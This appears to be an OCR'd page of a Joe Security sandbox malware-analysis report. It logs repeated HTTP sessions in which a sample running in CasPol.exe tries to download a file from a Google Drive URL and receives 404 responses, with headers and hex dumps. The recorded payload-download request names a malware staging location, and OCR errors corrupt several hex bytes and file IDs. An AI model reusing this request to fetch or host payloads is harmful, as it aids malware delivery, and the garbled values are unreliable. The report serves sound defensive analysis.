2021-11-24 10:55:01 UTC 79

2021-11-24 10:55:01 UTC 79

2021-11-24 10:55:01 UTC 80

2021-11-24 10:55:.01 UTC 81

Session ID Source IP
54 192.168.11.20
Copyright Joe Security LLC 2021

Direction

ouT

Source Port

49876

Direction

ouTt

Source Port

49877

Data

GET /uc?export=download&id=1S6MO0jmIQ7BGs7XtvAiCavBh3SE4VwmBa HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: drive.google.com

Cache-Control: no-cache

Cookie: NID=511=RQ1XZCUegmw_gsm-xgozILE8IK-9exs93JVgyXRX73iGEoQCj9WpVk3WKrj2Pnsq_DpZ5sJvMy
WHvZuVREmbPVU5SAZjieMh-PR8kuUcF7ZVbK1h2EXDOChTtj6bKOFauMrpO5MIjWmgKxE809m6fb5ZmhplppR2ViFI
EAgoLjM

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_|9ocaqg"

Report-To: {"group":"coop_gse_l9ocaqg","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gs
e_|9ocaq"}}

Content-Security-Policy: script-src 'nonce-HfpoBVW7MtpLdAGSpTXkeg' 'unsafe-inline' 'strict-dynamic' https: http: ‘unsafe-
eval';object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/drive-explorer/

Date: Wed, 24 Nov 2021 10:55:00 GMT

Expires: Wed, 24 Nov 2021 10:55:00 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 38 64 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e Oa 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f
54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4Af 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54
45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0a 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e Oa 3c 48 32 3e 45 72
72 6f 72 20 34 30 34 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e Oa 3c 2f 48 54 4d 4c 3e Oa 0d Oa

Data Ascii: 8d<HTML><HEAD><TITLE>Not Found</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Not Found</H1><H2>Error 404</H2></BODY></HTML>

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process

142.250.181.238 443 C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe

Data

GET /uc?export=download&id=1S6MOjmIQ7BGs7XtvAiCavBh3SE4VwmBa HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: drive.google.com

Cache-Control: no-cache

Cookie: NID=511=RQ1XZCUegmw_gsm-xgozILE8IK-9exs93JVgyXRX73iGEoQCj9WpVk3WKrj2Pnsq_DpZ5sJvMy
WHvZuVREmbPVU5SAZjjeMh-PR8kuUcF7ZVbK1h2EXDOChTtj6bKOFauMrpO5MIjWmgKXE809m6fb5ZmhplppR2ViF|
EAgoLjM

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Content-Security-Policy: script-src ‘'nonce-OLNNKDXO0fndyfRKH6YPWJQ' ‘unsafe-inline' ‘strict-dynamic' https: http: ‘unsafe-
eval';object-src 'none’;base-uri ‘self;report-uri https://csp.withgoogle.com/csp/drive-explorer/

Report-To: {"group”:"coop_gse_I9ocaqg","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gs
e_|9ocaq"}|}

Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_I9ocaq"

Date: Wed, 24 Nov 2021 10:55:01 GMT

Expires: Wed, 24 Nov 2021 10:55:01 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 38 64 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f
54 49 54 4c 45 3e Oa 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54
45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0Oa 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e Oa 3c 48 32 3e 45 72
72 6f 72 20 34 30 34 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a 0d Oa

Data Ascii: 83d<HTML><HEAD><TITLE>Not Found</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Not Found</H1><H2>Error 404</H2></BODY></HTML>

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process
142.250.181.238 443 C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe
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kBytes
Timestamp transferred

2021-11-24 10:55:01 UTC 81

2021-11-24 10:55:01 UTC 81

2021-11-24 10:55:01 UTC 82

2021-11-24 10:55:01 UTC 82

Session ID Source IP

55 192.168.11.20
kBytes

Timestamp transferred

2021-11-24 10:55:01 UTC 82

2021-11-24 10:55:02 UTC 82

2021-11-24 10:55:02 UTC 83

2021-11-24 10:55:02 UTC 84

Session ID Source IP
56 192.168.11.20
Copyright Joe Security LLC 2021

Direction

ouT

Source Port

49878

Direction

ouTt

Source Port

49879

Data

GET /uc?export=download&id=1S6MO0jmIQ7BGs7XtvAiCavBh3SE4VwmBa HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: drive.google.com

Cache-Control: no-cache

Cookie: NID=511=RQ1XZCUegmw_gsm-xgozILE8IK-9exs93JVgyXRX73iGEoQCj9WpVk3WKrj2Pnsq_DpZ5sJvMy
WHvZuVREmbPVU5SAZjieMh-PR8kuUcF7ZVbK1h2EXDOChTtj6bKOFauMrpO5MIjWmgKxE809m6fb5ZmhplppR2ViFI
EAgoLjM

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Report-To: {"group":"coop_gse_I9ocaqg","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gs
e_|9ocaq"}}

Content-Security-Policy: script-src 'nonce-3ZxMaW323uEN7tnd58KkkA' 'unsafe-inline' 'strict-dynamic' https: http: ‘unsafe-
eval';object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/drive-explorer/
Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_|9ocaq"

Date: Wed, 24 Nov 2021 10:55:01 GMT

Expires: Wed, 24 Nov 2021 10:55:01 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 38 64 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e Oa 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f
54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4Af 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54
45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0a 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e Oa 3c 48 32 3e 45 72
72 6f 72 20 34 30 34 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e Oa 3c 2f 48 54 4d 4c 3e Oa 0d Oa

Data Ascii: 8d<HTML><HEAD><TITLE>Not Found</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Not Found</H1><H2>Error 404</H2></BODY></HTML>

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process

142.250.181.238 443 C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe

Data

GET /uc?export=download&id=1S6MOjmIQ7BGs7XtvAiCavBh3SE4VwmBa HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: drive.google.com

Cache-Control: no-cache

Cookie: NID=511=RQ1XZCUegmw_gsm-xgozILE8IK-9exs93JVgyXRX73iGEoQCj9WpVk3WKrj2Pnsq_DpZ5sJvMy
WHvZuVREmbPVU5SAZjjeMh-PR8kuUcF7ZVbK1h2EXDOChTtj6bKOFauMrpO5MIjWmgKXE809m6fb5ZmhplppR2ViF|
EAgoLjM

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_I9ocaq"

Content-Security-Policy: script-src ‘'nonce-SNWOIuc4AS2S6dX/vicUfQ' 'unsafe-inline’ 'strict-dynamic' https: http: ‘unsafe-
eval';object-src 'none’;base-uri ‘self;report-uri https://csp.withgoogle.com/csp/drive-explorer/

Report-To: {"group”:"coop_gse_|9ocaqg","max_age":2592000, "endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gs
e_|9ocaq"}|}

Date: Wed, 24 Nov 2021 10:55:02 GMT

Expires: Wed, 24 Nov 2021 10:55:02 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 38 64 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f
54 49 54 4c 45 3e Oa 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54
45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0Oa 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e Oa 3c 48 32 3e 45 72
72 6f 72 20 34 30 34 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a 0d Oa

Data Ascii: 83d<HTML><HEAD><TITLE>Not Found</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Not Found</H1><H2>Error 404</H2></BODY></HTML>

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process
142.250.181.238 443 C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe
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kBytes
Timestamp transferred

2021-11-24 10:55:02 UTC 84

2021-11-24 10:55:02 UTC 84

2021-11-24 10:55:02 UTC 85

2021-11-24 10:55:02 UTC 85

Session ID Source IP

57 192.168.11.20
kBytes

Timestamp transferred

2021-11-24 10:55:02 UTC 85

2021-11-24 10:55:02 UTC 86

2021-11-24 10:55:02 UTC 86

2021-11-24 10:55:02 UTC 87

Session ID Source IP
58 192.168.11.20
Copyright Joe Security LLC 2021

Direction

ouT

Source Port

49880

Direction

ouTt

Source Port

49881

Data

GET /uc?export=download&id=1S6MO0jmIQ7BGs7XtvAiCavBh3SE4VwmBa HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: drive.google.com

Cache-Control: no-cache

Cookie: NID=511=RQ1XZCUegmw_gsm-xgozILE8IK-9exs93JVgyXRX73iGEoQCj9WpVk3WKrj2Pnsq_DpZ5sJvMy
WHvZuVREmbPVU5SAZjieMh-PR8kuUcF7ZVbK1h2EXDOChTtj6bKOFauMrpO5MIjWmgKxE809m6fb5ZmhplppR2ViFI
EAgoLjM

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Content-Security-Policy: script-src 'nonce-DZRkxKLCuuCuk+TBT9IL94A" 'unsafe-inline' 'strict-dynamic' https: http: ‘unsafe-
eval';object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/drive-explorer/

Report-To: {"group":"coop_gse_l9ocaqg","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gs
e_|9ocaq"}}

Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_|9ocaq"

Date: Wed, 24 Nov 2021 10:55:02 GMT

Expires: Wed, 24 Nov 2021 10:55:02 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Accept-Ranges: none

Vary: Sec-Fetch-Dest, Sec-Fetch-Mode, Sec-Fetch-Site,Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 38 64 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e Oa 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f
54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4Af 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54
45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0a 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e Oa 3c 48 32 3e 45 72
72 6f 72 20 34 30 34 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e Oa 3c 2f 48 54 4d 4c 3e Oa 0d Oa

Data Ascii: 8d<HTML><HEAD><TITLE>Not Found</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Not Found</H1><H2>Error 404</H2></BODY></HTML>

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process

142.250.181.238 443 C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe

Data

GET /uc?export=download&id=1S6MOjmIQ7BGs7XtvAiCavBh3SE4VwmBa HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: drive.google.com

Cache-Control: no-cache

Cookie: NID=511=RQ1XZCUegmw_gsm-xgozILE8IK-9exs93JVgyXRX73iGEoQCj9WpVk3WKrj2Pnsq_DpZ5sJvMy
WHvZuVREmbPVU5SAZjjeMh-PR8kuUcF7ZVbK1h2EXDOChTtj6bKOFauMrpO5MIjWmgKXE809m6fb5ZmhplppR2ViF|
EAgoLjM

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Content-Security-Policy: script-src ‘nonce-galfLXikLr64/1s+z+N2nQ" 'unsafe-inline' ‘strict-dynamic’ https: http: ‘unsafe-
eval';object-src 'none’;base-uri ‘self;report-uri https://csp.withgoogle.com/csp/drive-explorer/
Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_I9ocaq"

Report-To: {"group”:"coop_gse_|9ocaqg","max_age":2592000, "endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gs
e_|9ocaq"}|}

Date: Wed, 24 Nov 2021 10:55:02 GMT

Expires: Wed, 24 Nov 2021 10:55:02 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 38 64 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f
54 49 54 4c 45 3e Oa 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54
45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0Oa 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e Oa 3c 48 32 3e 45 72
72 6f 72 20 34 30 34 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a 0d Oa

Data Ascii: 83d<HTML><HEAD><TITLE>Not Found</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Not Found</H1><H2>Error 404</H2></BODY></HTML>

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process
142.250.181.238 443 C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe
Page 55 of 80



kBytes
Timestamp transferred

2021-11-24 10:55:03 UTC 87

2021-11-24 10:55:03 UTC 87

2021-11-24 10:55:03 UTC 88

2021-11-24 10:55:03 UTC 88

Session ID Source IP

59 192.168.11.20
kBytes

Timestamp transferred

2021-11-24 10:55:03 UTC 88

2021-11-24 10:55:03 UTC 88

2021-11-24 10:55:03 UTC 89

2021-11-24 10:55:03 UTC 90

Session ID Source IP
6 192.168.11.20
Copyright Joe Security LLC 2021

Direction

ouT

Source Port

49882

Direction

ouT

Source Port

49828

Data

GET /uc?export=download&id=1S6MO0jmIQ7BGs7XtvAiCavBh3SE4VwmBa HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: drive.google.com

Cache-Control: no-cache

Cookie: NID=511=RQ1XZCUegmw_gsm-xgozILE8IK-9exs93JVgyXRX73iGEoQCj9WpVk3WKrj2Pnsq_DpZ5sJvMy
WHvZuVREmbPVU5SAZjieMh-PR8kuUcF7ZVbK1h2EXDOChTtj6bKOFauMrpO5MIj\WmgKxE809m6fb5ZmhplppR2ViFI
EAgoLjM

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Report-To: {"group":"coop_gse_l9ocaqg","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gs
e_|9ocaq"}}

Content-Security-Policy: script-src 'nonce-X1wl2Pa8FcpYHRdv+6cOTA' 'unsafe-inline' 'strict-dynamic' https: http: ‘unsafe-
eval';object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/drive-explorer/
Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_|9ocaqg"

Date: Wed, 24 Nov 2021 10:55:03 GMT

Expires: Wed, 24 Nov 2021 10:55:03 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 38 64 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e Oa 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f
54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4Af 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54
45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0a 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e Oa 3c 48 32 3e 45 72
72 6f 72 20 34 30 34 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e Oa 3c 2f 48 54 4d 4c 3e Oa 0d Oa

Data Ascii: 8d<HTML><HEAD><TITLE>Not Found</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Not Found</H1><H2>Error 404</H2></BODY></HTML>

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process

142.250.181.238 443 C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Data

GET /uc?export=download&id=1S6MOjmIQ7BGs7XtvAiCavBh3SE4VwmBa HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: drive.google.com

Cache-Control: no-cache

Cookie: NID=511=RQ1XZCUegmw_gsm-xgozILE8IK-9exs93JVgyXRX73iGEoQCj9WpVk3WKrj2Pnsq_DpZ5sJvMy
WHvZuVREmbPVU5SAZjjeMh-PR8kuUcF7ZVbK1h2EXDOChTtj6bKOFauMrpO5MIjWmgKXxE809m6fb5ZmhplppR2ViF|
EAgoLjM

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_I9ocaq"

Content-Security-Policy: script-src ‘nonce-gnW9BLX+pv6YTIQeYlycoA' ‘unsafe-inline' ‘strict-dynamic' https: http: ‘unsafe-
eval';object-src 'none’;base-uri ‘self;report-uri https://csp.withgoogle.com/csp/drive-explorer/

Report-To: {"group”:"coop_gse_|9ocaqg","max_age":2592000, "endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gs
e_|9ocaq"}|}

Date: Wed, 24 Nov 2021 10:55:03 GMT

Expires: Wed, 24 Nov 2021 10:55:03 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 38 64 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f
54 49 54 4c 45 3e Oa 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54
45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0Oa 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e Oa 3c 48 32 3e 45 72
72 6f 72 20 34 30 34 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a 0d Oa

Data Ascii: 8d<HTML><HEAD><TITLE>Not Found</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Not Found</H1><H2>Error 404</H2></BODY></HTML>

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process
142.250.181.238 443 C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe
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kBytes
Timestamp transferred

2021-11-24 10:54:40 UTC 9

2021-11-24 10:54:40 UTC 9

2021-11-24 10:54:40 UTC 10

2021-11-24 10:54:40 UTC 10

Session ID Source IP

60 192.168.11.20
kBytes

Timestamp transferred

2021-11-24 10:55:04 UTC 90

2021-11-24 10:55:04 UTC 90

2021-11-24 10:55:04 UTC 91

2021-11-24 10:55:04 UTC 91

Session ID Source IP
61 192.168.11.20
Copyright Joe Security LLC 2021

Direction

ouT

Source Port

49883

Direction

ouTt

Source Port

49884

Data

GET /uc?export=download&id=1S6MO0jmIQ7BGs7XtvAiCavBh3SE4VwmBa HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: drive.google.com

Cache-Control: no-cache

Cookie: NID=511=RQ1XZCUegmw_gsm-xgozILE8IK-9exs93JVgyXRX73iGEoQCj9WpVk3WKrj2Pnsq_DpZ5sJvMy
WHvZuVREmbPVU5SAZjieMh-PR8kuUcF7ZVbK1h2EXDOChTtj6bKOFauMrpO5MIjWmgKxE809m6fb5ZmhplppR2ViFI
EAgoLjM

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Content-Security-Policy: script-src 'nonce-xy7BBJdhmFOhGU6ZU3CUGA' 'unsafe-inline' 'strict-dynamic' https: http: 'unsafe
-eval';object-src 'none';base-uri 'self;;report-uri https://csp.withgoogle.com/csp/drive-explorer/
Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_|9ocaqg"

Report-To: {"group":"coop_gse_l90caqg","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gs
e_|9ocaq"}]}

Date: Wed, 24 Nov 2021 10:54:40 GMT

Expires: Wed, 24 Nov 2021 10:54:40 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 38 64 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e Oa 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f
54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4Af 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54
45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0a 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e Oa 3c 48 32 3e 45 72
72 6f 72 20 34 30 34 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e Oa 3c 2f 48 54 4d 4c 3e Oa 0d Oa

Data Ascii: 8d<HTML><HEAD><TITLE>Not Found</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Not Found</H1><H2>Error 404</H2></BODY></HTML>

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process

142.250.181.238 443 C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Data

GET /uc?export=download&id=1S6MOjmIQ7BGs7XtvAiCavBh3SE4VwmBa HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: drive.google.com

Cache-Control: no-cache

Cookie: NID=511=RQ1XZCUegmw_gsm-xgozILE8IK-9exs93JVgyXRX73iGEoQCj9WpVk3WKrj2Pnsq_DpZ5sJvMy
WHvZuVREmbPVU5SAZjjeMh-PR8kuUcF7ZVbK1h2EXDOChTtj6bKOFauMrpO5MIjWmgKXxE809m6fb5ZmhplppR2ViF|
EAgoLjM

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Report-To: {"group”:"coop_gse_|9ocaqg","max_age":2592000, " "endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gs
e_|9ocaq"}|}

Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_I9ocaq"

Content-Security-Policy: script-src ‘nonce-LojJKdPBVjaxHHyYYp+H4w' ‘unsafe-inline’ 'strict-dynamic' https: http: ‘unsafe-
eval';object-src ‘none’;base-uri ‘self;report-uri https://csp.withgoogle.com/csp/drive-explorer/

Date: Wed, 24 Nov 2021 10:55:04 GMT

Expires: Wed, 24 Nov 2021 10:55:04 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
